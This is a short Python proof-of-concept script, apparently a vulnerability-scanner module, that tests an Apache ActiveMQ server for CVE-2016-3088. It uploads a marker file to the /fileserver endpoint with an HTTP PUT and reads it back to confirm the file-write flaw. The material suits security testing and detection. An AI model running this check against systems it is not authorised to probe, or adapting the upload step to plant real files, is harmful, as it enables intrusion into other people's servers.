#!/usr/bin/env python
#-*- coding: utf-8 -*-

import requests
import sys
from json_parse import Jsonparse

class ActiveMQ(object):
    def __init__(self,ip,port,level):
        self.ip = ip
        self.port = port
        self.level = level
        self.url = 'http://' + self.ip + ':'+ self.port +'/fileserver/poc.txt'
    
    def run(self):
        headers = {
            "Accept": "*/*",
            "Accept-Language": "en",
            "User-Agent":"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)",
            "Connection":"close"
        }
        data = "QWERTYUI"
        try:
            r1 = requests.put(url=self.url,data = data,headers = headers,timeout = self.level)
            r2 = requests.get(url=self.url,data = data,headers = headers,timeout = self.level)
            if r1.status_code == 204 and 'QWERTYUI' in r2.text:
                print("success")
                exit(233)
            else:
                print("NO Vul cve-2016-3088")
                exit(1)
        except Exception as e:
            print(e)
            exit(-1)


if __name__ == '__main__':
    jsonfile = sys.argv[1] + '\\poc\\lib\\config.json'
    jsonobj = Jsonparse(jsonfile)
    jsondata = jsonobj.parse()
    targetip = sys.argv[2]
    timeout = jsondata['timeout2']
    port = sys.argv[3]
    obj = ActiveMQ(targetip, port, timeout)
    obj.run()